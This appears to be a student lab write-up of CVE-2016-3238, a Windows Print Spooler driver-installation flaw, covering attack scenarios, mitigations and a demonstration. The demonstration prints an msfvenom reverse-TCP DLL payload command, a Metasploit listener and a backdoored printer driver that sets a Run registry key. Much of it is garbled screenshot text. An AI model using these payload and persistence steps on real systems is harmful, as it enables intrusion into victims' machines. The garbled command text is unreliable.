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Description

CVE-2016-3238 (Windows Print Spooler Remote Code Execution
Vulnerability) is a vulnerability within Windows Print Spooler in most
Windows System (from Windows XP to Windows 10) that allows
attackers to execute arbitrary code by providing a crafted print
driver. This vulnerability is pair with CVE-2016-3239(Windows Print
Spooler Elevation of Privilege Vulnerability)

The root cause of this vulnerability lies in the
“PSetupDownloadAndInstallLegacyDriver” function of ntprint.dll library. The
function is responsible for checking policy and initiate installation with
elevated privilege.

Execution of vulnerability

The vulnerability can be exploited
1. Within the network
2. from outside of the local network.

In order to exploit this an attacker must be able to compromise a
printer or a print server. After that, execution of this vulnerability can
be done via Injecting dll patched with payload onto a printer. Once the
user tries to connect to the printer itself or through print server. The
patched dll will be sent and installed without administrator rights and
without even prompting any warning, UAC or even binary signature
verification.

1. Execution via local network

Assuming the attacker is already inside the network. The attacker can
execute the exploit in three ways.

1. The attacker can replace the compromised printer’s driver with a
malicious driver by hacking the targeted printer’s vulnerabilities.

2. If hacking a printer is not feasible due to circumstances, the attacker
can advertise a rogue/fake printer on the network and just patiently
wait for a user to connect.

3. The attacker can perform a man-in-the-middle attack by monitoring
the networks traffics and intercept a legitimate printer driver
installation process and replace the driver with a patched driver.
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For 1 and 2, when the user connects to the printer, the printer driver
will be installed without any user’s consent all under the system right.
Thus, allowing the attacker access to the victim’s machine easily.

Attacker gains
system level control
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The process will be repeated multiple times thus effecting multiple as users
will probably connect to the printer. (Watering hole attack)



2. Execution via Internet
(Going global with Internet Printing Protocol and WebPointNPrint)

The vulnerability can be exploited via outside of the network as the same
process works for IPP(Internet Printing Protocol) and webPointNPrint(MS-
WPRN).

The attacker can set up a malicious website and let the user connects to the
site as Microsoft’'s IPP allows the same mechanism to load drivers from
printers through the internet.
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Once the user connects to the website, the attacker’s print driver will be
delivered and installed on the victim’s computer.
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Now the attacker in inside the network, he can now search for a printer on
the network to exploit in order to place a fake driver or advertise a
rogue/fake printer in order to infect as much computers as he can.
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Affected Systems

Windows Vista

Windows Server 2008
Windows Server 2008 R2
Windows 7

Windows 8.1

Windows Server 2012
Windows Server 2012 R2
Windows RT

Windows 10

Windows Vista

Windows Server 2008
Windows Server 2008 R2

Mitigation and prevention strategies
Mitigation & Prevention Strategies

1. Disable Point-and-Print. (security over convenience)

2. Add warning and request UAC.

3. Perform network content inspection signatures for the IPP/WebPnP variant
of the attack.

4. Using drivers that used Point-Print-Print(v4) instead of v3.

The first version of fix has been released by Microsoft on July 2016.

The update enforces the validation of printer drivers prior to their installation. The
second fix addressing the issue was released on November 2017.

Microsoft has also released the needed documentation for the development of
enhanced Point-and-Print(v4).

5. Windows update patch : KB3170455 - this security update released on July 12,
2016 is to fix this vulnerability.
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Demonstration of the exploit in action

We have to admit that we do not manage to perform the exploit ‘the right
way’ due to technical challenges.
So under this section, we have two sub-sections.

1) What we tried at first
2) The outcome - what we did

1) What we tried at first
*This is what we tried and failed. So, you may not proceed this in the VM that we
submitted.

This is the layout of what we did in order to create a scenario for the exploit
We used 3 machines.

Windows Server 2012(Print Server - connected to the printer),

Kali Linux (Attacker’'s machine).

Windows 7 (Victim’s machine).

VICTIM PRINT SERVER
1. Looks for printer. :
; 2. Sends malicious DLL ] -- Melicious LS
» L ' .. already placed here by
Windows7 Windoms attacker.

3. Malicious DLL is installed
and a connection is
established between the
VICTIM and ATTACKER.

Waits for reverse
shell to connect
KALlI from victim.

ATTACKER
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On Kali Linux,
1. Generating dll payload using msfvenom

root@kali: ~

File Edit View Search Terminal Help
:~# msfvenom -p window -/ re _tcp LHOST=192.168.56.103 LPje
4 -f dll > /root/ op/payload.dll

2. Listening for reverse tcp connection from victim‘s machine.

console -q
t/multi/handl
) payload wind ‘meterpreter/sreverse
rse_tcp
Tt 192.168.56.103
lport 4444
v options
Module options ( ploit/multi/shandler):

cription

Name

wildcard Target

options ai LHOST.
t completed, but no on was ed.
T ) = set LHOST 192.

to bind to 192.168.
TCP handler on 0.0.¢
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On Windows Server 2012(Print Server),
1. Setup Print Server and enable IPP.

=] Server Manager
Server Manager * Dashboard Manage
= Add Roles and Features Wizard =[]
Dashb
DESTINATION SERVER
B Local Select server roles WIN-FUKBID314LR
ii File a Before You Begin Select one or more roles to install on the selected server.
o s Roles Description
= Print ~|  Printand Document Senvices
[J DN Server enables you to centralize print server
[ Fax Server and network printer management
b [8] File and Storage Services (2 of 12 installed) task:.‘ With this role, you can also
receive scanned documents from
[ Hyper-v network scanners and route the
[] Network Policy and Access Services documents to a shared network
PRNCINP it and Document Services (3 of 4 installed Fe O pindow=iShareboin
| Print Server (1 Services site, or e-mail addresses.
[ Distributed Scan Server
™ nstalled) =
V| LPD Service d)
[ Remote Access
[ Remote Desktop Services
[] Volume Activation Services i
S
b [E] Web Server (lIS) {19 of 43 installed)
[[] Windows Deployment Services 5
Ferformance ‘ ‘ Ferformance FPerformance
BPA results BPA results
= Server Manager

Add Roles and Features Wizard

DESTINATION SERVER

Select features WIN-FUKBIDE14LR

Before You Begin Select one or more features to install on the selected server.

Features Description

[ Enhanced Storage ~]  NET Framework 3.5 combines the
power of the .NET Framework 2.0

APIs with new technologies for

[ Group Palicy Management building applications that offer

[ 115 Hostable Web Core appealing user interfaces, protect
i ] your customers' personal identity

[ Ink and Handuriting Services information, enable seamless and

P Cl secure communication, and provide

[] IP Address Management (IPAM) Server the ability to model a range of

[] SN Server semice business processes.

[ LPR Port Monitor

[] Management OData IS Extension

[ Media Foundation

[] Failover Clustering

v In

b [ Message Queuing
[ Multipath /0
[ Network Load Balancing s 1
T T v —
< m >

Next > Install

Performance [ Performance 11 Performance
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2. Setup a printer using our payload driver patched with the dll generated in Kali.
*This is where we fail to do. The payload dll was never able to successfully
copied to the victim’s machine.

*We created our own driver using Visual Studio but that also failed.

*We tried using backdoor factory to patch but failed.

e Print Management

File Action View Help

e nE X2 B

ﬁ‘,,-.w Print Management Driver Mame Envirenment Driver Version C
b [#| Custom Filters 11| HP Color LaserJet 1600 Class Driver Windows x64 £.3.9600.17415 I
4 g Fl””t Servers ¥ HP LaserJet P3004/P3005 PS Class Driver Windows x64 6.3.9600.16384 N

4§ WIN-FUKBID314LR (loca|| 5] 1CT289 Printer Driver Windows x4 16.46.7.76 M
|t Drivers 7.
) o Foms Driver Propertes Bl s
I & Ports
= Printers Mame: ICT289 Printer Driver
b me Deployed Printers Version: Type 4 - User Mode

Processor: xbd
Language moniter:

Default data type:

Driver path: CAWindows\Systern32\DriverStere\FileRepositoryusb_h
Description File ~
Config File PrintCenfig.dil =
Data File usb_host_based_sample.gpd
Dependent File usb_host_based_sample-manifest.in
Dependent File usb_host_based_sample-pipelineco.,
Dependent File usb host based sample extension.x, ™
< m >

Properties | | Close

On Windows 7,

1. Connect to the print server’'s compromised printer

As shown in the photo, the connection was successful and able to check documents
and status.

@' Music ;5’4" Urnver |
[=| Pictures
B videos - J hpt 155 1CT289 Printer Driver on WIN-FUKSID314LR [ E | ]
| - Printer Document View
1% Computer 5 Document Narne Status Owner Pages Size Sull
&L Local Disk () s 1CT289 Printer Driver
§” D Drive (D:) Virtu .
]
G‘j MNetwork ;—:é% @
18 PVIE-PC m ‘ = :

However, once we check the driver of the printer on this victim’s machine.
Only a few files are downloaded and executed. Not the attacker’s drivers.
Hence, the attack is a failure.
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==
feesl V. ions = -48EE-BCTB-TI216FA + Search 458
RV TIRRTETa - |‘,‘ R P e @vvl <« VdConnections » 45BDDOB3-14CD-48EE-BCTB-79216FA1B928 = \ 4|
= 0 Includein lib Sh ith New fold
Sharing Center View remote printers ;ﬁ; > [0 # rganize ¥ neludein Woray ¥ arewith = i relcer
N =
- E o Mame Date modified Type Size
{ Favorites ’
ﬂf hp B Desktop || ad0Bc6a7 . BUD BUD File 14 KB
- & Downloads || ad08c6al.gpd GPD File 18 KB
%] unires.dll Application extens... 826 KB
152 [CT289 Printer Driver on WIN-FUKEID314LR =% =R~
Printer Document  View
Docurnent Name Status Owner Pages Size Sub

\?‘ CD Drive (D:) Virty

*ii MNetwork
/M pYIE-PC
1M VBOXSVR
1M WIN-FUKBID314LF ~
3 items

iver (\WWIN-FUKBID314LR)

2) The outcome - what we did

We created v4 printer driver using Visual Studio 2017. We import the generated
payload from the kali machine into this driver files. On top of that, we also modified
the drivers so that it will drop autorun malicious .exe files every time user log in or
start up in the windows 7.

In this case, we use .exe file instead of dll. During installation, the following registry
key will be added into the windows 7.

ien'\Run",PayloadName, @
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We then installed this driver on the Windows Server 2012 R2. In a way, where

attacker manage to access the server and have the credentials to perform printer
installation.

e Print Management ==t
File Liion View Help
& Print Management Printer Mame Queue Status JobsIn ... Server Name Driver Name | Actions
b [l Customn Filters =32 -Dell Mono XPS Class Driver ~ Ready 0 WIN-F3JDBBEV... Dell Mono XPS Printe.rs o
4 § Print Servers = Dell 1133 Laser MFP Readly 0 WIN-F2JDBBEV... Dell 1133 Laser y—
4 [ WIN-FIIDBBEVIRI (local| pn|CT289 Printer Driver Ready 0 WIN-F2DBBEV... 1CT289 Printer| o Ao
3 X - -
| = Network Printer Installation Wizard xJ Mictosoft XPa
B i Locate File -
» Hen Dey Look in: package v‘ €] ¥+ > @
1 Name - Date modified Type
vl_-_"? 4% | _backdoor.inf 11/19/2018 446 PM  Setup Infc
Recent places
Desktop
w=nll
Libraries
This PC
@
< u >
Network
File name: _backdoor.inf v | | COpen |
7 i NG n >

The .inf file is the file where we created previously (the registry, the malicious exe
files will be permanently installed into the server).
Move back to Windows 7, where the victim log in as standard user. And the user is
trying to install new printer (with the malicious driver that we just installed on the
server).

Note that printer installation through the server will be perform on SYSTEM
privilege. It's a critical vulnerability. Upon successful installation, the registry for
auto-run key will added as following:
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ﬁ’ Registry Editor =K | S =X

File Edit View Favorites Help

| Run || Name Type Data
. RunOnce b (Default) REG_SZ (value not set)

. Setup REG_SZ C\Users\test\Desktop'_Printer\cool.exe
. SharedDLLs

. Shell Extensions

. ShellCompatibility

. ShellServiceObjectDelayload

. Sidebar

. SideBySide

. SMDEn

. SMI

. StructuredQuery
Syncmgr
SysPrepTapi
Tablet PC
Telephony

. ThemeManager
>+ . Themes

b 1| Uninstall

51l URL

. UserPictureChange

. WebCheck

. Windows Block Level Backup

. WindowsBackup
>+ | WindowsUpdate

b 1) WINEVT

m

4 1. 2 4 1 k

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run

Upon login/startup, on the left the “cool.exe” is running. Likewise, on the right
where our Kali linux is running metasploit to listen from Windows 7.
On Kali, we use exploits/multi/handler, then windows/shell_reverse_tcp as payload.

% Windows Task Manager folra === root@kal - o

File Options View Help

Appiications | Processes | Services | Performance [ Networking [ Users |

ImageName | UserName CPU Memory (... Descripton
omd. E!Ehz test 00 232K Windows .. e o a (127.0.0.1)
conhostexe test 0 424K Consdle ...
coolexe*32 test ) 28K Apachese.
crss.exe 00 736K

dum.exe test o0 504K Desktop ..
oporerexe test 00 463K Windows...
tackhostexe  test o0 854K HostProc...
toskmoreretest 00 L796K Windows...

wirlogon.exe 00 32 LPORT 4444

TCP handler o 6 6.99:4444

[‘?.'Shawpmcessesﬁnma”users [ End Process 1 opened (192.168.56.99:4444 -> 192.168.56.22:49156) a

Processes: 32 CPU Usage: 0% Physical Memory: 53%

C:\Wil
C:\Wil

/ -

As long as the malicious exe(payload) is runr{ing, the attacker gains full control on
that victim’s machine.
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